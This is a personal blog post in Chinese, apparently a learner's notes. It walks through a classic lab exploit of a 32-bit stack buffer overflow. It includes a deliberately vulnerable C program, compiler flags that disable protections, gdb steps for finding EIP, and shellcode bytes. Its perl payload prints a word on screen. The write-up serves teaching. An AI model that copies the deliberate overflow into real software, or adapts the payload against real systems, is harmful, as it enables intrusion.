由于工作的需要,开始学习安全领域的知识了。感觉这个领域的知识点太多,而且非常底层,缓冲区溢出攻击这个算是最容易理解的了,就先从这个开始入门吧~
先试个最简单的例子,学习学习原理~
本文代码和原理主要参考http://blog.csdn.net/linyt/article/details/43283331博客,大部分内容是直接抄原博客,加了一点自己测试时遇到的问题。
测试环境
Ubuntu 16.04 TLS
测试前准备
1. 关闭地址随机化功能:
echo 0 > /proc/sys/kernel/randomize_va_space
2. 由于测试用到的是编译出32位程序,现在常见的都是64位系统,先安装一下gcc编译32位程序用到的库:
sudo apt-get install libc6-dev-i386
示例代码
(这里对原博客中的代码进行了一点修改,主要是将拷贝的代码放到f()函数中,而不是直接在main函数中实现所有功能。主要是原代码在测试时,遇到缓冲区溢出后,我的EIP总修改不了,而是报错cannot access address 0x41414141...之类的,后来查了下,好像是main函数有个什么地址对其之类的导致的,把实现放在随便一个不是main的函数里就行。目前还不懂具体原因,后面慢慢学习会了再改这里。)
1 #include <stdio.h>
2 #include <string.h>
3
4 int f()
5 {
6 char buf[32];
7 FILE *fp;
8
9 fp = fopen("bad.txt", "r");
10 if(!fp) {
11 perror("fopen");
12 }
13
14 fread(buf, 1024, 1, fp);
15 printf("data: %s\n", buf);
16 return 0;
17 }
18
19 int main(int argc, char *argv[])
20 {
21 f();
22
23 return 0;
24 }
示例代码有明显的溢出问题,buf的size为32,但是拷贝了最多可达1024个字符。
编译程序
gcc -Wall -g -fno-stack-protector -o stack1 stack1.c -m32 -Wl,-zexecstack
参数解释:
-fno-stack-protector : 禁用栈溢出检测功能
-m32 : 生成32位程序
-Wl,-zexecstack : 支持栈端可执行
尝试修改EIP,控制执行路径 (直接抄原博客了)
那么,该如何利用该缓冲区溢出问题,控制程序执行我们预期的行为呢?
buf数组溢出后,从文件读取的内容会在当前栈帧沿着高地址覆盖,而该栈帧的顶部存放着返回上一个函数的地址(EIP),只要我们覆盖了该地址,就可以修改程序的执行路径。
为此,需要知道从文件读取多少个字节,才开始覆盖EIP呢。一种方法是反编译程序进行推导,另一种方法是基测试的方法。我们选择后者进行尝试,然后确定写个多少字节才能覆盖EIP.
为了避免肉眼去数字符个数,使用perl脚本的计数功能,可以很方便生成字特殊字符串。下面是字符串重复和拼接用法例子:
输出30个'A'字符
$ perl -e 'printf "A"x30'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
输出30个'A'字符,后追加4个'B'字符
$ perl -e 'printf "A"x30 . "B"x4'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
尝试的方法很简单,EIP前的空间使用'A'填充,而EIP使用'BBBB'填充,使用两种不同的字母是为了方便找到边界。
目前知道buf大小为32个字符,可以先尝试填充32个'A'和追加'BBBB',如果程序没有出现segment fault,则每次增加'A'字符4个,直到程序segment fault。如果 'BBBB'刚好对准EIP的位置,那么函数返回时,将EIP内容将给PC指针,0x42424242(B的ascii码为0x42)是不可访问地址,马上segment fault,此时eip寄存器值就是0x42424242 。
我机器上的测试过程:
$ perl -e 'printf "A"x32 . "B"x4' > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB▒
已溢出,造成输出乱码,但没有segment fault
$ perl -e 'printf "A"x36 . "B"x4' > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
没有segment fault
$ perl -e 'printf "A"x40 . "B"x4' > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
没有segment fault
$ perl -e 'printf "A"x44 . "B"x4' > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB▒▒▒▒
输出乱码,但没有segment fault
$ perl -e 'printf "A"x48 . "B"x4' > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBSegmentation fault (core dumped)
产生segment fault.
使用调试工具gdb分析此时的EIP是否为0x42424242
首先输入ulimit -c unlimited
接着运行一下上面的出错的那条指令,此时当前目录下会出现一个core文件
$ gdb ./stack1 core -q
Reading symbols from /home/ivan/exploit/stack1...done.
[New LWP 6043]
warning: Can't read pathname for load map: Input/output error.
Core was generated by `./stack1'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb) info register eip
eip 0x42424242 0x42424242
分析core文件,发现eip被写成'BBBB',注入内容中的'BBBB'刚才对准了栈中存放EIP的位置。
找到EIP位置,离成功迈进了一大步。
注入执行代码
控制EIP之后,下步动作就是往栈里面注入二进指令顺序,然后修改EIP执行这段代码。那么当函数执行完后,就老老实实地指行注入的指令。
通常将注入的这段指令称为shellcode。这段指令通常是打开一个shell(bash),然后攻击者可以在shell执行任意命令,所以称为shellcode。
为了达到攻击成功的效果,我们不需要写一段复杂的shellcode去打开shell。为了证明成功控制程序,我们在终端上输出"FUCK"字符串,然后程序退出。
为了简单起引, 我们shellcode就相当于下面两句C语言的效果:
write(1, "FUCK\n", 5);
exit(0);
在Linux里面,上面两个C语句可通过两次系统调用(调用号分别为4和1)实现。
下面32位x86的汇编代码shell1.s:
1 BITS 32
2 start:
3 xor eax, eax
4 xor ebx, ebx
5 xor ecx, ecx
6 xor edx, edx
7
8 mov bl, 1
9 add esp, string - start
10 mov ecx, esp
11 mov dl, 5
12 mov al, 4
13 int 0x80
14
15 mov al, 1
16 mov bl, 1
17 dec bl
18 int 0x80
19
20 string:
21 db "FUCK", 0xa
编译程序:
nasm -o shell1 shell1.s
反编译:
ndisasm shell1
结果如下:(我编译出来的和原博客的代码一样,我觉得应该x86的都是这样的吧~)
1 00000000 31C0 xor ax,ax
2 00000002 31DB xor bx,bx
3 00000004 31C9 xor cx,cx
4 00000006 31D2 xor dx,dx
5 00000008 B301 mov bl,0x1
6 0000000A 83C41D add sp,byte +0x1d
7 0000000D 89E1 mov cx,sp
8 0000000F B205 mov dl,0x5
9 00000011 B004 mov al,0x4
10 00000013 CD80 int 0x80
11 00000015 B001 mov al,0x1
12 00000017 B301 mov bl,0x1
13 00000019 FECB dec bl
14 0000001B CD80 int 0x80
15 0000001D 46 inc si
16 0000001E 55 push bp
17 0000001F 43 inc bx
18 00000020 4B dec bx
19 00000021 0A db 0x0a
打通任督二脉
上面找到修改EIP的位置,但这个EIP应该修改为什么值,函数返回时,才能执行注入的shellcode呢。
很简单,当函数返回时,EIP值弹出给PC,然后ESP寄存器值往上走,刚才指向我们的shellcode。因此,我们再使用上面的注入内容,生成core时,esp寄存器的值,就是shellcode的开始地址,也就是EIP应该注入的值。
(先删掉之前的core文件) rm ./core
$ perl -e 'printf "A"x48 . "B"x4 . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a"' > bad.txt ;./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB1▒1▒1▒1ҳ▒▒▒▒▒̀▒▒▒▒̀FUCK ▒/▒▒
Segmentation fault (core dumped)
$ gdb ./stack1 core -q
Reading symbols from /home/ivan/exploit/stack1...done.
[New LWP 7399]
warning: Can't read pathname for load map: Input/output error.
Core was generated by `./stack1'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb) info register esp
esp 0xffffd710 0xffffd710
esp值为0xffffd710,EIP注入值就是该值,但由于X86是小端的字节序,所以注入字节串为"\x10\xd7\xff\xff"
所以将EIP原来的注入值'BBBB'变成"\x10\xd7\xff\xff"即可。再次测试:
$ perl -e 'printf "A"x48 ."\x10\xd7\xff\xff" . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a"' > bad.txt ;./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒1▒1▒1▒1ҳ▒▒▒▒▒̀▒▒▒▒̀FUCK ▒/▒▒
FUCK
成功了,程序输出FUCK字符串了,证明成功控制了EIP,并执行shellcode.
小结
这里是一个基本上最简单的缓冲区溢出漏洞攻击的例子了,虽然这技术有点老,不管怎么样,实验成功了,还是蛮好玩的。
现代操作系统有很多改进的东西,例如地址随机化、栈数据不可执行等,不过从这个简单的例子,再一步一步学习后面的技术,就好了~
下一章介绍下这个例子的原理,大部分还是参考原博客的原理分析,不过我好多基础的知识忘了,我得写详细点,以后看起来方便~
原博客参考:
http://blog.csdn.net/linyt/article/details/43283331